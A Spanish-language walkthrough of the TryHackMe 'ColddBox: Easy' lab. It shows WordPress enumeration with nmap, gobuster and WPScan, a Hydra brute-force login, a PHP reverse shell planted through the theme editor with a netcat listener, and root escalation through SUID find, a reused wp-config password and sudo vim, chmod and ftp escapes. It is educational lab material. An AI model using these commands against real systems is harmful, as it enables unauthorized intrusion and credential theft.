0% encontró este documento útil (0 votos)
50 vistas8 páginas

Comandos

El documento presenta un tutorial sobre pentesting en WordPress, abordando técnicas de enumeración, explotación y escalada de privilegios en un entorno de caja gris. Se detallan herramientas y comandos específicos como Nmap, WPScan y Hydra, así como métodos para obtener acceso a una shell y escalar privilegios. El enfoque es educativo, dirigido a profesionales y entusiastas de la ciberseguridad que buscan aprender de manera ética.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
50 vistas8 páginas

Comandos

El documento presenta un tutorial sobre pentesting en WordPress, abordando técnicas de enumeración, explotación y escalada de privilegios en un entorno de caja gris. Se detallan herramientas y comandos específicos como Nmap, WPScan y Hydra, así como métodos para obtener acceso a una shell y escalar privilegios. El enfoque es educativo, dirigido a profesionales y entusiastas de la ciberseguridad que buscan aprender de manera ética.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd

ColddBox: Easy

Hoy nos adentraremos en el mundo del pentesting enfocado en uno


de los gestores de contenido más utilizados en el mundo:
WordPress, que según W3Techs está presente en más del 40% de
todos los sitios web.

[Link]

Vamos a simular un escenario de caja gris, donde aplicaremos


técnicas reales de enumeración, explotación y múltiples maneras de
escalada de privilegios. Este video es con fines educativos y está
orientado a profesionales y entusiastas de la ciberseguridad que
quieren aprender de manera responsable y ética.

¿Qué aprenderás hoy? Mira esta lista:

1. Enumeración – Nmap SSH y HTTP


2. WordPress 4.1.31 – whatweb y Wappalyzer
3. Enumeración – WPScan
4. Fuerza Bruta – Hydra
5. Reverse Shell – Upload PHP
6. Opción 1 Escalada de Privilegio – LinPEAS o LinEnum o
SUID /usr/bin/find
7. Opción 2 Escalada de Privilegio – Password Re-use wp-
[Link]
8. SUDO – sudo -l /usr/bin/vim
9. SUDO – sudo -l /bin/chmod
10. SUDO – sudo -l /usr/bin/ftp
Enumeración

Vamos hacer un escaneo rápido.

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn [Link] -oG
allPorts

Vamos usar el parametro -sS es tcp sync port scan es más sigiloso
y menos detectable por firewalls porque el camino de 3 vías (three
way handshake) no se completa (SYN > SYN/ACK > RST).

El parámetro --min--rate que controla el número de paquetes que


se quiere enviar, por ejemplo 5 mil x segundo, ideal para
laboratorios o entornos controlados, pero no para un pentesting
real.

El parámetro -n no resuelve nombres DNS, por lo que acelera el


escaneo para evitar la resolución inversa.

El parámetro -Pn es para evitar descubrimiento de host mediante


resolución de nombres del protocolo ARP.

-oG es para guardar la salida en formato grepable, útil para un


análisis con la herramienta grep.

nmap -p80,4512 [Link] -sCV -oN targeted

-sC, usa los scripts por defecto de Nmap equivalente a --


script=default. Estos scripts pueden detectar versiones de
servicios, páginas web, vulnerabilidades básicas, etc.

Y el -sV intenta detectar la versión de los servicios que están


corriendo en los puertos abiertos.

4512/tcp ssh

Bien, aquí no tenemos un nombre de usuario ni contraseña, por lo


que omitiremos esto y nos dirigiremos al puerto web.

80/tcp http

Como vemos en la enumeración, encontramos que el puerto 80


está abierto y que se está ejecutando el servidor Apache httpd
2.4.18. También podemos ver que en el sitio web se está
ejecutando WordPress y es una versión antigua 4.1.31.
Ahora, revisemos el sitio web en el navegador. El sitio web parece
normal. Nada extraño. Solo vemos el nombre " C0ldd ", el
diseñador de esta máquina. También en la sección inferior
izquierda hay un inicio de sesión.

Ejecutemos Gobuster para encontrar directorios ocultos.


gobuster dir -u [Link]
--wordlist=/usr/share/wordlists/dirbuster/[Link]

-x html,css,js,txt,php,xml,sql:
Extensiones de archivos a probar. Gobuster intentará
encontrar, por ejemplo: [Link], [Link], [Link], [Link].

gobuster dir -u [Link]


--wordlist=/usr/share/wordlists/dirbuster/[Link] -x
html,css,js,txt,php,xml,sql

Vemos algunos directorios interesantes como:


/hidden
/wp-admin

Vamos a revisarlos. En el directorio “/hidden” encontramos un


texto con dos nombres: 'Hugo' y 'Philip '.

Entonces, ya podemos indicar que hay 3 personas: Coldd, Hugo y


Philip.

En el directorio "/wp-admin" que hemos encontrado probamos con


algunas credenciales predeterminadas.

WPScan

Ahora, vamos a escanear WordPress con una herramienta muy


utilizada por hackers y pentesters y también lo usan en bug
bounty. Es la herramienta wpscan.

Como estamos ejecutando una versión antigua de wordpress


vamos a enumerar usuarios con wpscan.

wpscan --url http:// [Link] -eu


Bien, entonces tenemos algunos usuarios que revisar, pero se
detectaron plugin o temas vulnerables.

 cold

 c0ldd

 hugo

 philip

Ahora intentemos obtener la contraseña del usuario mediante


fuerza bruta puede ser con wpscan o Hydra.

Fuerza bruta de Hydra Wordpress

Bien, entonces probemos el [Link] o 10-million-password-list-


[Link] contra los usuarios anteriores.

hydra -L wpusers -P /usr/share/wordlists/[Link] [Link] -


V http-form-post '/[Link]:log=^USER^&pwd=^PASS^&wp-
submit=Log In&testcookie=1:S=Location'

wpscan -- url http:// [Link]/ -- passwords


/usr/share/wordlists/[Link] -- usernames c0ldd,hugo,philip

wpscan --url [Link] --passwords [Link]

Personalmente, uso /usr/share/seclists/Passwords/Common-


Credentials/[Link] para
descifrarla.

Bien hemos tenido éxito ya que tenemos la contraseña de c0ld.


¡Genial! Vamos a iniciar sesión en WordPress.

Ganando Punto de Apoyo:

Vamos a revisar primero la sección user para ver que


encontramos, podemos ver que somos administradores.

Shell remoto
Echando un vistazo rápido no hay publicaciones ni páginas
interesantes, entonces vamos hacer un truco habitual de cargar
un reverse shell php como plugin.

Vamos a "Apariencia", en la pestaña "Editor", podemos editar e


incluso añadir documentos y páginas en WordPress.

Opción 1: Appearance->Editor->Select 404 Template

Podemos ver que es código PHP en el editor. Entonces esto


debemos reemplazarlo con el código php-reverse-shell
de pentestmonkey

[Link]
[Link].

Cambia la IP a tu dirección IP de TryHackMe. Consulta la imagen a


continuación como referencia.

Actualice el archivo y salga del panel de control y vaya al sitio del


blog.

Ahora para obtener el código de error 404 y ejecutar el shell PHP,


debemos acceder al blog, que no está presente en el sitio. Antes
de eso primero debemos ponernos en escucha por el puerto 4444.

nc -lvnp 4444

Para acceder a la página de error 404, hacemo clic en el primer


blog titulado “The Colddbox is here”

Revisamos la URL. Puedes ver que hay un parámetro "p=" que


apunta al blog actual. Ahora solo necesitas cambiar el parámetro a
cualquier número aleatorio p=5+5 y presionar Enter.
Una vez que completemos el proceso, deberíamos recibir una
devolución de llamada. Y ahora ya tenemos acceso a la Shell del
usuario www-data

Vamos hacer algo habitual para conseguir una shell más cómoda
ya que no podemos desplazarnos con las teclas hacia arriba, hacia
abajo, no podemos limpiar, no podemos borrar comandos, no
podemos hacer control+c.

Tratamiento de la TTY

Paso 1: $ script /dev/null -c bash


Paso 2: Control Z
Paso 3: stty raw -echo; fg (presionar enter)
Paso 4: reset (para reiniciar la configuración de la terminal)
Paso 5: xterm (operamos con un tipo de terminal xterm)
Paso 6: export TERM=xterm (exportamos variable de entorno)
Paso 7: export SHELL=bash (exportamos variable de entorno)
Paso 8: Ahora ya podemos usar control+c, subir, bajar, izquierda,
derecha.
En maquina atacante ver el total de las dimensiones de la terminal
Paso 9: stty size
Paso 10: stty rows XX columns YY (esto va en la conexión
establecida con la victima)

Entonces obtendrás un shell mejorado.

Opción 2: "[Link]"

Modificamos con el código de pentest-monkey. Editamos el código


y configura tu IP y puerto. Después, actualiza el archivo del nuevo
[Link].

Nos ponemos en escucha por el puerto configurado con Netcat:

nc-lnvp 1234

Luego, visita la URL que editamos.

[Link]
[Link]

Notarás que tenemos una shell.


Más enumeración:

Ahora vamos a enumerar más para encontrar una forma de escalar


los privilegios.

Método n.° 1 /usr/bin/find

Usar [Link] o [Link] o find / -perm -u=s 2>/dev/null


y ver qué podemos encontrar.

chmod +x [Link]

Lo primero que salta a la vista como salida es /usr/bin/find


debajo SUID....

Echando un vistazo a GTFOBins ....


[Link]

Así que vamos a intentarlo.

/usr/bin/find . -exec /bin/bash -p \; -quit

Bien, entonces nuestra identificación de usuario efectiva es root


así que tomemos las banderas.

Método n.° 2: reutilización de contraseñas

Vamos a buscar de manera recursivamente la cadena "c0ldd" en


todos los archivos del sistema, y omitimos los errores de permisos
que normalmente mostraría grep.

grep -Hrn “c0ldd” / 2>/dev/null

o también sabes que hay un sitio de WordPress en ejecución. Ve a


/var/www/html y revisa los archivos. Revisa aquellos que
consideres que contengan información importante. Hay un archivo
con credenciales en texto plano.

Necesita el archivo '[Link]'. Léalo y obtendrá las


credenciales para la base de datos MySQL.

No se puede acceder a la base de datos MySQL con el usuario


actual.

mysql -u <usuario> -p
Sin embargo, es muy probable que la contraseña de MySQL y la de
inicio de sesión del usuario coincidan. Intente iniciar sesión con el
usuario c0ldd.

su c0ldd

Escalada de privilegios a través de usuario c0ldd:

Ahora podemos escalar privilegios a través de este usuario.


Intentamos comprobar los permisos de sudo del usuario c0ldd.
Echemos un vistazo si podemos ejecutar algo como sudo

sudo –l

¡Genial! Podemos escalar privilegios con varios comandos.

Bueno, entonces tenemos algunos comandos que podemos


ejecutar como root...

VIM

Ejecute sudo vim en la terminal, ingrese la contraseña para el


usuario c0ldd.

[Link]

sudo vim -c ':!/bin/sh'

CHMOD

Con "sudo chmod" puedes cambiar los permisos de cualquier


directorio o archivo y acceder a él.

[Link]

sudo chmod -R 755; cat /etc/shadow

FTP

Todo lo que necesitas hacer es esto…

[Link]

sudo ftp
ftp> !/bin/bash

Eso es todo. Aunque puede haber más formas de escalar los


privilegios. Aquí todo están en tu curiosidad, tu intuición.

También podría gustarte